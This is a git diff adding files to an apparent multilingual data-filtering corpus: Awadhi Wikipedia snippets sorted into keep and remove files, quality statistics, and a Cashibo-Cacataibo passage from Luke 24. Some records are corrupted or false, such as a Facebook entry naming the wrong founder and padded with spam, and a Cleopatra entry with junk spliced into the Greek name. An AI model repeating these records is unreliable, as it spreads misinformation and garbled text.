diff --git a/.gitattributes b/.gitattributes index 85329ea76584c1dda51536b0499db41839ca0387..79ada5180554a93bec486a94a0297e3a16575ccf 100644 --- a/.gitattributes +++ b/.gitattributes @@ -13077,3 +13077,4 @@ rus_Cyrl/fineweb-2_000022_remove.jsonl filter=lfs diff=lfs merge=lfs -text rus_Cyrl/mala_000426_remove.jsonl filter=lfs diff=lfs merge=lfs -text rus_Cyrl/new_cc_000524_keep.jsonl filter=lfs diff=lfs merge=lfs -text rus_Cyrl/new_cc_000720_keep.jsonl filter=lfs diff=lfs merge=lfs -text +rus_Cyrl/new_cc_000778_remove.jsonl filter=lfs diff=lfs merge=lfs -text diff --git a/awa_Latn/mala_000001_keep.jsonl b/awa_Latn/mala_000001_keep.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..10086265f0ee4af37e85bb106edf65c5a03956b3 --- /dev/null +++ b/awa_Latn/mala_000001_keep.jsonl @@ -0,0 +1,4 @@ +{"url":"https:\/\/awa.wikipedia.org\/wiki\/%E0%A4%87%E0%A4%B2%E0%A5%8D%E0%A4%B5%E0%A4%BF%E0%A4%B8","collection":"wikipedia","source":"wikipedia","original_code":"awa","text":"इल्विस (ILWIS - Integrated Land and Water Information System) एकठु जीआइयस\/रिमोट सेंसिंग कय सॉफ्टवेयर होय।","num_words":14,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.994,"perplexity_score":500.0,"cluster_detection":1} +{"url":"https:\/\/awa.wikipedia.org\/wiki\/%E0%A4%95%E0%A5%8D%E0%A4%B2%E0%A4%BF%E0%A4%AF%E0%A5%8B%E0%A4%AA%E0%A5%87%E0%A4%9F%E0%A5%8D%E0%A4%B0%E0%A4%BE","collection":"wikipedia","source":"wikipedia","original_code":"awa","text":"क्लियोपाट्रा (Greek: Κλεοπάhemamalinifilmyaccatrasτρα Φιλοπάτωρ; January 69 BC–November 30, 30 BC) पुरातन मिस्र कय एक यूनानी वंश कय रानी रहीन।","num_words":16,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.303,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.883,"perplexity_score":500.0,"cluster_detection":1} +{"url":"https:\/\/awa.wikipedia.org\/wiki\/%E0%A4%AE%E0%A5%8B%E0%A4%B9%E0%A4%BE%E0%A4%B0%3A%E0%A4%B9%E0%A4%BE%E0%A4%B2%20%E0%A4%95%E0%A4%AF%20%E0%A4%98%E0%A4%9F%E0%A4%A8%E0%A4%BE\/%E0%A4%98%E0%A4%9F%E0%A4%A8%E0%A4%BE%E0%A4%8F%E0%A4%81\/%E0%A4%AC%E0%A4%97%E0%A4%B2%E0%A5%80","collection":"wikipedia","source":"wikipedia","original_code":"awa","text":"{| class=\"infobox\" align=\"right\" width=\"350\" style=\"border:1px solid #FDDFFF; \"\n|- style=\"font-size: 120%; width:100%; background-color: #FDFCFF; padding-top: 5px; padding-bottom: 5px\"\n|","num_words":14,"character_repetition_ratio":0.011,"word_repetition_ratio":0.0,"special_characters_ratio":0.371,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.335,"perplexity_score":500.0,"cluster_detection":1} +{"url":"https:\/\/awa.wikipedia.org\/wiki\/%E0%A4%B8%E0%A5%81%E0%A4%AA%E0%A5%8C%E0%A4%B2","collection":"wikipedia","source":"wikipedia","original_code":"awa","text":"सुपौल ज़िला भारत के बिहार राज्य का एक ज़िला है। ज़िले का मुख्यालय सुपौल है।\n\nसंदर्भ\nBihar Tourism: Retrospect and Prospect,\" Udai Prakash Sinha and Swargesh Kumar, Concept Publishing Company, 2012, ISBN 9788180697999<\/ref>","num_words":32,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.324,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.688,"perplexity_score":500.0,"cluster_detection":1} diff --git a/awa_Latn/mala_000001_remove.jsonl b/awa_Latn/mala_000001_remove.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..a109109a530bbeb04de89f0439b9b173c584ed5a --- /dev/null +++ b/awa_Latn/mala_000001_remove.jsonl @@ -0,0 +1,5 @@ +{"url":"https:\/\/awa.wikipedia.org\/wiki\/%E0%A4%AB%E0%A4%BC%E0%A4%BF%E0%A4%A8%E0%A4%B2%E0%A5%88%E0%A4%A3%E0%A5%8D%E0%A4%A1","collection":"wikipedia","source":"wikipedia","original_code":"awa","text":"{{ज्ञानसन्दूक देश\n|native_name = फ़िनलैंड गणराज्य\n|conventional_long_name = Suomen tasavalta<\/small>Republiken Finland<\/small>\n|common_name = फ़िनलैंड\n|image_flag = Flag_of_Finland.svg\n|image_coat = Coat of arms of Finland.svg\n|image_map = Location Finland EU Europe.png\n|map_caption = यूरोपीय संघ भूअर औ फ़िनलैंड हरेर रंङ मा\n|national_anthem = Maamme(फ़िनिश)Vårt land(स्वीडिश)\"हमार भूमि\"<\/small>\n|official_languages = फ़िनिश, स्वीडिश\n|regional_languages = Sami\n|demonym = फ़िन्स, फ़िनिश \n|capital = हेलसिंकी\n|latd=60 |latm=10 |latNS=N |longd=024 |longm=56 |longEW=E\n|largest_city = हेलसिंकी\n|religion = लुथेरन\n|government_type = अर्द्ध अध्यक्षीय गणराज्य\n|leader_title1 = राष्ट्रपति\n|leader_title2 = प्रधानमंत्री\n|leader_title3 = संसद अध्यक्ष\n|leader_name1 = साऊली निनिस्तो\n|leader_name2 = सना मरीन\n|leader_name3 = Paula Risikko\n|accessionEUdate = 1 जनरी, 1995\n|area_rank = 64 वां\n|area_magnitude = 1 E11\n|area_km2 = 338,424\n|area_sq_mi = 130,596 \n|percent_water = 10\n|population_estimate = 5,522,858\n|population_estimate_rank = 115 वां\n|population_estimate_year = 2018\n|population_census = 5,155,000\n|population_census_year = 2000\n|population_density = 16\n|population_densitymi² = 40 \n|population_density_rank = 201 वां\n|GDP_PPP = $238.000 बिलियन\n|GDP_PPP_rank = -\n|GDP_PPP_year = 2017\n|GDP_PPP_per_capita = $43,482 \n|GDP_PPP_per_capita_rank = -\n|sovereignty_type = स्वतंत्रता\n|sovereignty_note = रूसी साम्राज्य से\n|established_event1 = स्वायत्तता\n|established_event2 = घोषणा\n|established_event3 = मान्यता\n|established_date1 = 29 मार्च 1809\n|established_date2 = 6 दिसम्बर 1917\n|established_date3 = 4 जनवरी 1918\n| HDI_year = २०१३\n| HDI_change = decrease \n| HDI = ०.८७९ \n| HDI_ref =|HDI_ref = \n| HDI_rank = २४वाँ\n|currency = यूरो (€)²\n|currency_code = EUR\n|country_code = \n|time_zone = EET\n|utc_offset = +2\n|time_zone_DST = EEST\n|utc_offset_DST = +3\n|cctld = .fi, .ax ³\n|calling_code = 358\n|footnote1 = Semi-presidential system\n|footnote2 = Before 2002: Finnish markka\n|footnote3 = The .eu domain is also used, as it is shared with other European Union member states.\n}}\nफ़िनलैंड, (फ़िनिश: Suomen tasavalta सुओमेन तासावाल्ता या Suomi सुओमी'') आधिकारिक तवर पै फ़िनलैंड गणराज्य उत्तरी यूरोप कय फेनोस्केनेडियन क्षेत्र कय यक्ठु नॉर्डिक देस होय। यकर सीमा पच्छुम स्वीडन, पूरुब मा रूस औ उत्तर मा नॉर्वे से सटा हय, जबकि फिनलैंड खाड़ी कय पार दक्खिन मा एस्टोनिया हय। देस कय राजधानी हेलसिंकी होय।\n\nलगभग 53 लाख कय आबादी वाला इ देस कय ढेर मनई दक्खिन वर रहत हँय। क्षेत्रफल कय हिसाब से इ यूरोप कय अठवां सबसे बड़ा औ जनघनत्व कय आधार पय यूरोपीय संघ में सबसे कम आबादी वाला देस होय। देस मा रहै वाले ढेर मनईन कय मातरिभाषा फ़िनिष होय, औ देस कय ५.५ प्रतिसत आबादी कय मातरिभाषा स्वीडिस होय।\n\nफिनलैंड ऐतिहासिक रूप से स्वीडन कय यक्ठु हिस्सा रहा औ १८०९ से रूसी साम्राज्य कय तरे यक्ठु स्वायत्त ग्रैंड डची रहा। रूस से गृहयुद्ध कय बाद १९१७ मा फ़िनलैंड स्वतंत्रता कय घोषणा कीहिस। फिनलैंड १९५५ मा संयुक्त राष्ट्र संघ मा, १९६९ मा ओईसीडी औ १९९५ मा यूरोपीय संघ औ यूरोजोन मा सामिल भवा। यक्ठु सर्वेक्षण मा सामाजिक, राजनीतिक, आर्थिक औ सैन्य संकेतन कय आधार पय फिनलैंड कय दुनिया कय दूसरा सबसे ढेर स्थिर देस मानि गै।\n\nसन्दर्भ","num_words":356,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.389,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.995,"perplexity_score":500.0,"cluster_detection":-1} +{"url":"https:\/\/awa.wikipedia.org\/wiki\/%E0%A4%AB%E0%A5%87%E0%A4%B8%E0%A4%AC%E0%A5%81%E0%A4%95","collection":"wikipedia","source":"wikipedia","original_code":"awa","text":"फेसबुक इन्टरनेट पै एक निशुल्क सोशल नेटवर्किंग साईट होय, जेकर स्थापना शालु करे रहेन।\n\nसन्दर्भ\n\nBreaking News Of Technology \nUnlabelled How To Create Playlist in Facebook Creator Studio (English)\n\nHow To Create Playlist in Facebook Creator Studio (English) \nmultitasking india 29 mins ago\n\nHow To Create a Playlist in Facebook Creator Studio (English)If you're a content creator on both YouTube and Facebook, you may want to share your YouTube videos on your Facebook page or group by creating a playlist. Facebook Creator Studio makes it easy to create and manage YouTube video playlists, and in this article, we'll walk you through the steps to create a YouTube video playlist on Facebook Creator Studio.\n\nStep 1: Open Facebook Creator Studio \nFirst of all you have to open Facebook Creator Studio. To do this, log in to your Facebook account Click the \"More\" dropdown menu to find it.\n\nStep 2: Go to the \"Video\" tab \n\nOnce you're in Creator Studio, click on the \"Video\" tab on the left side of the screen. This will take you to the Video Dashboard, where you can manage your video content.\n\nStep 3: Connect Your YouTube Channel \n\nTo create a YouTube video playlist, you'll need to connect your YouTube channel to Facebook Creator Studio. Click the \"Connect\" button under the \"Connect Your YouTube Channel\" section, and follow the prompts to connect your channel. read more","num_words":225,"character_repetition_ratio":0.141,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.996,"perplexity_score":500.0,"cluster_detection":-1} +{"url":"https:\/\/awa.wikipedia.org\/wiki\/%E0%A4%AE%E0%A4%BF%E0%A4%B6%E0%A5%87%E0%A4%B2%20%E0%A4%93%E0%A4%AC%E0%A4%BE%E0%A4%AE%E0%A4%BE","collection":"wikipedia","source":"wikipedia","original_code":"awa","text":"मिशेल ओबामा अमरीका क्य राष्ट्रपति बराक ओबामा के मेहरारू, अउर अमरीका के पहिली महिला अहिन।\n\nबाहर के कड़ियाँ \n First Lady Michelle Obama , Whitehouse.gov\n \"Meet Michelle\" , biographical entry at BarackObama.com\n \"Michelle Obama On Love, Family & Politics\", interview with Katie Couric of CBS News.","num_words":42,"character_repetition_ratio":0.042,"word_repetition_ratio":0.0,"special_characters_ratio":0.289,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.261,"perplexity_score":500.0,"cluster_detection":-1} +{"url":"https:\/\/awa.wikipedia.org\/wiki\/%E0%A4%B8%E0%A4%BE%E0%A4%87%E0%A4%AA%E0%A5%8D%E0%A4%B0%E0%A4%B8","collection":"wikipedia","source":"wikipedia","original_code":"awa","text":"{{ज्ञानसन्दूक देश\n|native_name = साइप्रस गणराज्य\n|conventional_long_name = Κυπριακή Δημοκρατία (ग्रीक)Kypriakí Dimokratía Kıbrıs Cumhuriyeti (तुर्कीस)\n|common_name = साइप्रस\n|image_flag = Flag of Cyprus.svg\n|image_coat =Coat of arms of Cyprus (old).svg\n|image_map = LocationCyprus.svg\n|national_motto = \n|national_anthem = Ύμνος εις την Ελευθερίανअनुवाद:Ymnos is tin Eleutherian स्वतंत्रता कय गीत\n|official_languages = ग्रीक औ तुर्कीस\n|capital = निकोसिया\n|latd=35|latm=08|latNS=N|longd=33|longm=28|longEW=E\n|largest_city = निकोसिया\n|demonym = साइप्रियोट\n|government_type= गणराज्य\n|leader_title1 = राष्ट्रपति\n|leader_name1 = तासोस पापादोपोउलोस\n|accessionEUdate = 1 मई, 2004\n|area_rank = 161वां\n|area_magnitude = 1_E9\n|area_km2 = 9,250\n|area_sq_mi = 3,5714 \n|percent_water = नगण्य\n|population_estimate = 888,000\n|population_estimate_year = 2021\n|population_estimate_rank = 95वां\n|population_census= 689,565\n|population_census_year= 2001\n|population_density = 84\n|population_densitymi² = 218 \n|population_density_rank = 111\n|GDP_PPP_year = 2008\n|GDP_PPP = $22.703बिलियन\n|GDP_PPP_rank = 107वां\n|GDP_PPP_per_capita = $29,830\n|GDP_PPP_per_capita_rank = 29वां\n|HDI_year = 2008\n|HDI = ०.९२१\n|HDI_rank = 30वां\n|HDI_category = उच्च\n|sovereignty_type = स्वतंत्रता\n|sovereignty_note = यूनाइटेड किंगडम से\n|established_event1 = तारीख\n|established_date1 = 16 अगस्त 1960\n|established_event2 = स्वतंत्रता दिवस\n|established_date2 = 1 अक्टूबर\n|currency = यूरो\n|currency_code = EUR\n|time_zone= EET\n|utc_offset= +2\n|time_zone_DST= EEST\n|utc_offset_DST= +3\n|cctld= .cy\n|country_code = CY (ISO 3166)\n|calling_code = 357 7\n|footnotes =\n}}साइप्रस''' (ग्रीक: Κύπρος, IPA: [cipɾo̞s], तुर्की: Kıbrıs), आधिकारिक रुप मा साइप्रस गणतंत्र (ग्रीक: Κυπριακή Δημοκρατία, Kypriakī Dīmokratía, [cipɾiaci ðimo̞kɾatia], तुर्की: Kıbrıs Cumhuriyeti) पूरुबी भूमध्य समुन्दर पय ग्रीस कय पूरुब, लेबनान, सीरिया औ इसराइल कय पच्छु, मिस्र कय उत्तर औ तुर्की कय दक्खिन कय यक्ठु यूरेशियन द्वीप देस होय। यकर राजधानी निकोसिया होय। यकर मुख्य- औ राजभाषा ग्रीक औ तुर्की होँय।\n\nसन्दर्भ","num_words":186,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.356,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.431,"perplexity_score":500.0,"cluster_detection":-1} +{"url":"https:\/\/awa.wikipedia.org\/wiki\/%E0%A4%A5%E0%A5%8B%E0%A4%AE%E0%A4%B8%20%E0%A4%9C%E0%A5%87%E0%A4%AB%E0%A4%B0%E0%A5%8D%E0%A4%B8%E0%A4%A8","collection":"wikipedia","source":"wikipedia","original_code":"awa","text":"थामस जेफरसन (Thomas Jefferson) (१३ अप्रैल १७४३ - ४ जुलाई १८२६) संयुक्त राज्य अमेरिका कय तीसरा राष्ट्रपति (1801–1809) औ अमेरिकी 'स्वतंत्रता कय घोषणा' कय मुख्य लेखक (1776) रहें। जेफरसन एक्ठु राजनैतिक दार्शनिक औ विद्वान मनई रहें। यन डेमोक्रेटिक- रिपब्लिकन पार्टी से रहें। ओनकै इंग्लैण्ड औ फ्रान्स कय बहुत बुद्धिजीवी औ नेतन् से जान-पहचान रहा।\n\nबाहरी कड़ि\n जेफरसन कय सादगी\n The Papers of Thomas Jefferson - Digital Edition\n University of Virginia Jefferson Papers\n B. L. Rayner's 1829 Life of Thomas Jefferson, an on-line etext\n \"The Hobby of My Old Age\": Jefferson's University of Virginia\n Quotations from Jefferson\n University of Virginia biography\n Biography on White House website \n Library of Congress\n Library of Congress: Jefferson exhibition\n Library of Congress: Jefferson timeline\n Thomas Jefferson: A Resource Guide from the Library of Congress\n National Park Service\n Thomas Jefferson's Plan for the University of Virginia: Lessons from the Lawn, a National Park Service Teaching with Historic Places (TwHP) lesson plan\n Jefferson Memorial, Washington DC\n Monticello - Home of Thomas Jefferson\n Poplar Forest-Thomas Jefferson's second home\n \"Frontline: Jefferson's blood: Chronology: The Sally Hemings story (1977), PBS\n The Papers of Thomas Jefferson at the Avalon Project\n \n Online catalog of Thomas Jefferson's personal library, based on the catalog of books he sold to the Library of Congress in 1815, online at LibraryThing","num_words":205,"character_repetition_ratio":0.14,"word_repetition_ratio":0.0,"special_characters_ratio":0.255,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.854,"perplexity_score":500.0,"cluster_detection":-1} diff --git a/awa_Latn/mala_000001_stas.jsonl b/awa_Latn/mala_000001_stas.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..13b7972bff74519b847fdf15cbb882ef62c461ee --- /dev/null +++ b/awa_Latn/mala_000001_stas.jsonl @@ -0,0 +1,115 @@ +[ + { + "avg": { + "num_words": 121.11111111111111, + "character_repetition_ratio": 0.051555555555555556, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.3031111111111111, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.7152222222222222, + "perplexity_score": 500.0 + } + }, + { + "std": { + "num_words": 118.04278362285473, + "character_repetition_ratio": 0.05367207242155544, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.059054484154596014, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.2817894319356517, + "perplexity_score": 0.0 + } + }, + { + "median": { + "num_words": 42.0, + "character_repetition_ratio": 0.042, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.303, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.854, + "perplexity_score": 500.0 + } + }, + { + "max": { + "num_words": 356.0, + "character_repetition_ratio": 0.141, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.389, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.996, + "perplexity_score": 500.0 + } + }, + { + "min": { + "num_words": 14.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.219, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.261, + "perplexity_score": 500.0 + } + }, + { + "90%": { + "num_words": 251.20000000000002, + "character_repetition_ratio": 0.14020000000000002, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.3746, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.9952, + "perplexity_score": 500.0 + } + }, + { + "75%": { + "num_words": 205.0, + "character_repetition_ratio": 0.069, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.356, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.994, + "perplexity_score": 500.0 + } + }, + { + "50%": { + "num_words": 42.0, + "character_repetition_ratio": 0.042, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.303, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.854, + "perplexity_score": 500.0 + } + }, + { + "25%": { + "num_words": 16.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.255, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.431, + "perplexity_score": 500.0 + } + }, + { + "total size": "9", + "keep size": "4", + "remove size": "5" + } +] \ No newline at end of file diff --git a/cbr_Latn/fineweb-2_000001_keep.jsonl b/cbr_Latn/fineweb-2_000001_keep.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..391197b1a9b118e94b9ddfdfdaeed3a649cced0c --- /dev/null +++ b/cbr_Latn/fineweb-2_000001_keep.jsonl @@ -0,0 +1,81 @@ +{"text":"24\nJesús baísquia\n(Mt 28.1-10; Mr 16.1-8; Jn 20.1-10)\n1Anun ñu mëëtima nëtë 'iónxa pëcaracëbëa bari urucëma 'aínshi ca axa Galileanuax Jesúsbë uëxancë xanucama anun sanu oti ro mëníoëxancë a buani raíri xanubë anua Jesús mëníoëxancënu cuantëcëancëxa. 2Buani cuanx anu bëbaquinbi ca mapara, anun quini xëpuëxancë, racanacë isacëxa. 3Usa 'icë istancëx cuani, quininu atsínquianxun isquinbi ca Nucën 'Ibu Jesús 'aímocëxa. 4'Aímoi ratuti ca sináncasmacëxa. Usai ratúquian atun iscëxbi ca rabë́ uni, chupa chaba chabaquicë pañucë, a rapasu 'iacëxa. 5Usa isi ca xanucamax racuëti meu tëtúbuacëxa. Tëtúbutiabi ca a unin cacëxa:\n—¿Uisa cupí caramina mitsun anu uni bamacë mëníotinua axa ashiti bamacëma uni barin? 6Ax ca ënuma 'icën, ca baísquiaxa. An Galileanuxun mitsu caëxancë bana camina sinánti 'ain. 7Ësaquin ca mitsu caëxanxa: Uni 'inux Nucën Papa Diosnuax uá 'icë, ca 'ë 'atima unin, uni itsían 'ë 'aminun 'inánti 'icën. 'Ináncëxun ca i curúsocënu bamanun 'ë matásti 'icën. Matáscëx asérabi bamatancëx cana rabë́ 'imainun achúshi nëtë 'iónxa pëcaratëcëncëbë baísquiti 'ai quixun.\n8Usaquian ángelnën cacëxun ca —asérabi ca Jesusan usaquin nu caëxanxa —quixun xanucaman sináncëxa. 9Usaquin sinánbiani anuax cuanxun ca atun iscëcama ñuianan ángelnën cacëcama ñuiquin, Jesusan 'unánmicë unicama mëcën rabë́ 'imainun achúshi a 'imainun an aín bana cuacë uni raíricamaribi ñuixuancëxa. 10Usaquian an Jesusan 'unánmicë unicama ñuixuncë xanucama ax ca 'iacëxa, María Magdalena 'imainun Juana 'imainun Jacobonën tita María, 'imainun axa atubë 'icë xanucamaribi. 11Usaquian acaman ñuixuncëxunbi ca —cëmëi ca quia —quixun sinánquin —usa ca —quixun sinánma 'icën.\n12Usaía raíri 'imainun ca Pedronëxëshi abáquiani a quininu cuancëxa. Cuanx bëbai tëtúbuquin isquinbi ca anun Jesús rabúncë chupa ashi isacëxa. Isbiani ratúquiani uisai cara 'iaxa quixun sináncasmai ca aín 'icënu cuantëcëancëxa.\nEmaús ëmanu bain cuanía usai 'iá\n(Mr 16.12-13)\n13A nëtë́nbi ca an Jesusan bana cuacë uni rabë́ Jerusalénuax, axa mëcën rabë́ 'imainun achúshi kilometrosa 'ain, Emaús cacë ëmanu bain cuancëxa. 14Usai bain cuani ca a rabëtax usaía Jerusalénuax Jesús 'icë ñui cananquiancëxa. 15Usaía cananquiancëbëbi ca Jesús a caxu cuani, atubë biránanquiani cuancëxa. 16Cuania isquin 'unántisa 'ixunbi ca —ënëx ca Jesús 'icë —quixun 'unánma 'icën. 17'Unáncëxunmabi ca Jesusan atu cacëxa:\n—¿Añu ñui caramina cananquianin? ¿Uisacatsi caramina masá nuitutin?\n18Cacëx niracëquin ca axa bain cuancë uni rabë́, achúshi, Cleofas cacë, an Jesús cacëxa:\n—¿Amanuax Jerusalénu ucë 'ixunbia uisa ñucama cara anu 'iaxa quixun ñuicania 'itsa unin cuanbi caramina mínshi cuacëma 'ain?\n19Quixuan cacëxun ca Jesusan cacëxa:\n—¿Añu ñui cara quicanx?\nQuia ca cacëxa:\n—Nazaretnu 'icë Jesús, a ñui ca quicanxa. An ca Nucën Papa Dios 'imainun unicamanribi iscëxun upí oquin Nucën Papa Dios quicë bana uni ñuixuanan aín cushínbi uni itsin 'acëma ñu 'axa. 20Usa 'icëbi ca nun sacerdotenën cushicamabëtan nun cushi raíricamanribi a Piláto 'inánxa, ax isa i curúsocënu matáscëx bamanun quixun. 21Nun cananuna Romanu 'icë unían, nux Israel unibu 'icë, nu 'imainun nun nëtëcamaribi 'ibuacë 'aínbia nunainshi nun nëtë 'inun, an nu mëníoxunti sinan, 'aínbi ca bamaëxanxa. 22Usa 'aínbi ca nuxnu 'icësaribitía ami sináncë xanu raírinën anu Jesús mëníoëxancënu pëcaracëma 'aínshi cuanxun isbëtsini uxun ñuixunquin nu ratupunia. 23Cuanxunbi ca Jesús 'aímopunia. 'Aímobëtsini uxun ca nu capunia, ángel rabëtainsa iscëxun atu, Jesús ca bamacëma 'icë, ca baísquiaxa, caxa quixun. 24Usaquin cacëx anua Jesús mëníoëxancënu cuanxunbi ca nubëa 'icë uni raírinën xanúan cacësabi oquin isquinbi Jesús mëraima 'ipunia.\n25Usaquian cacëxun ca Jesusan cacëxa:\n—Upí oquin camina sinaniman. An Nucën Papa Dios quicë bana uni ñuixuncë unin cuënëo banax ca asérabi 'icë quixun camina sináncëma 'ain. 26¿A bana quicësabi oi cara Cristo, ax aín Papabë 'Apu 'i cuancëma pan 'aish, paë tani tëmërati 'iax?\n27Caxun ca Moisésnëan cuënëo bana 'imainun an Nucën Papa Dios quicë bana uni ñuixuncë unicamanribia cuënëo bana, uisa banacama cara a ñui quicë 'icë, a banaxa quicësabi oi ca 'iaxa quixun a uni rabë́ ñuixuancëxa. 28Atu bana ñuixunbiancëx anua cuancë Emaús ëmanu abë bëbaquinbi ca a rabëtan, Jesús sapi ca cuanshitia quixun isacëxa. 29Isquin ca cacëxa:\n—Bari ca xupíbutia, ca baquishia, usa 'ain camina nun xubunu nubë 'i cuanti 'ain. Cacëx ca atubë cuanx aín xubunu 'i Jesús atsíancëxa.\n30Atsíntancëx mesanu a uni rabë́bë tsóbuxun ca pán bixun —asábi ca —Nucën Papa Dios catancëxun, tucapaquin atu 'ináncëxa. 31Usa 'ain ca, ënëx ca Jesús 'icë quixun 'unántancëxunmabi pán tucapaxun 'ináncëxun pain —Jesús ca ënëx 'icë —quixun 'unáncëxa. 'Unania ratúcëbëishi ca Jesús nëtë́acëxa. 32Nëtë́cëbë ca canancëxa:\n—An nubë banaquin cuënëo banacama nu ñuixuncëxun cananuna nun nuitu cuëëni shimëniocacësa tanpunin, ¿usa cat?\n33Usaquin sinani bënëtishi cuanx ca Jerusalénu cuantëcëancëxa. Cuanx bëbaquin ca Jesusan 'unánmicë uni mëcën rabë́ 'imainun achúshi, acamabëa Jesusan bana cuacë raíri unicamaribi timë́cë mëracëxa. 34Mëracëxun ca axa timë́cë unicaman cacëxa:\n—Nucën 'Ibu Jesús ca asérabi baísquitëcëanxa. Usa 'icë ca Simonan ispunia.\n35Usaquian cacëxun cuaquin ca Emaúsnuax ucë uni rabëtan, usai ca bainuax nubë 'ipunia quixun canan —nua pán mëtícaquin 'ináncëxuinshi cananuna ax ca asérabi Jesús 'icë quixun 'unánpuni —quixun cacëxa.\nAín 'unánmicë uni mëcën rabë́ 'imainun achúshi an Jesús isa\n(Mt 28.16-20; Mr 16.14-18; Jn 20.19-23)\n36Usaquin atu ñuixunía sënë́ncëma pain 'aínbi axbi chiquiracëti atu nëbë́tsi niracëquin ca Jesusan atu cacëxa:\n—Chuámashirua ca 'ican.\n37Usoquian atu cacëx racuëti ratúquin ca —ñunshin ca —quixun sináncëxa. 38Usai 'i ami racuëtia isquin ca Jesusan cacëxa:\n—¿Uisacatsi caramina racuëtin? ¿Uisa cupí caramina 'ëx cana asérabi Jesús 'ai quixun sinaniman? 39'Ën mëcën 'imainun ca 'ën taë is. Isquin ca, 'ëx cana Jesús 'ai quixun 'unan. Uisa cara 'ën nami 'imainun 'ën xo 'icë quixunmi 'unánun ca 'ë ramët. Ñunshinax ca xoñuma 'ianan namiñuma 'icën.\n40Usaquin caquin ca mëshpáquin aín mëcën ismianan aín taëribi ismiacëxa. 41Usoquian ismicëxbi ca —ënëx ca Jesús 'icë —quiax cuëënibi sináncasmai ratúacëxa. Ratutia isquin ca Jesusan —¿mitsun a piti ñu cara 'aíma 'ic? —quixun cacëxa. 42Cacëxun ca tsatsa xuicë paná 'imainun buna rëpa tëxëra 'ináncëxa. 43'Ináncëxun biquin ca atun ismainunbi Jesusan piacëxa.\n44Pitancëx sënë́nxun ca Jesusan atu cacëxa:\n—'Ëx bamacëma pain 'ixun 'ën mitsu cacësabi oi ca 'iaxa. 'Ë ñuiquin cuënëo banacama Moisésnën 'a, 'imainun an Nucën Papa Dios quicë bana uni ñuixuncë unicaman cuënëo banacama, 'imainun Salmosribi, acamaxa 'ë ñui quicë bana axa quicësabi oi ca 'iti 'icë quixun 'ën mitsu cacësabi oi cana 'ian. 45Usaquin caxun ca a ñuiquian cuënëo banacama upí oquian cuanun ñuixunquin anu timë́cë unicama 'unánmiacëxa. 46'Unánmiquin ca ësaquin cacëxa:\n—Ësai ca a bana quia, Cristo ca bamatancëx rabë́ 'iónxa pëcaratëcëncëbë baísquiti 'icën. 47Usa 'ain ca aín unicaman Jerusalénuxun pain aín bana ñuitancëxun camabi menu cuanquin ësoquin caquin unicama ñuixunti 'icën, Nucën Papa Diosan atun 'atima ñu 'acëcama tërë́ncë 'inuxun ca sinanaquin bëtsi oquin sinánti 'icë quixun. Ësaía a ñui cuënëo bana quicë a ñuixuntancëxun ca Jesusan atu cacëxa: 48Mitsun camina 'ëx 'ia iscë 'ixun, uisai carana 'ë ñuiquin cuënëo banacama quicësabi oi 'ia quixun unicama ñuixunti 'ain. 49Axa uti ñuiquian 'ën Papa Diosan 'ë cacë, a cana mitsunu unun xuti 'ain. Usa 'ain camina Nucën Papa Diosan aín cushi mitsu 'inánun Jerusalénu bërúxun caínti 'ain.\nJesús naínu cuan\n(Mr 16.19-20)\n50Usa 'ain ca Jesusan Jerusalénuax cuanquin Betania ëma 'urama, aín unicama buáncëxa. Buántancëxun aín mëcën rabë́ manámi oquin ca Nucën Papa Dios atu ñucáxuancëxa. 51Usaquin ñucáxuntancëxun acama ëbiani ca anua Nucën Papa Dios 'icë anu cuancëxa. 52Cuania rabitancëx ca chuámashi tani cuëënquiani Jerusalénu cuantëcëancëxa. 53Cuantancëxun ca nëtë camabi anuxun Nucën Papa Dios rabiti xubunu cuanxun cuanxun, a rabiacëxa. Ashi.\nLoading reference in secondary 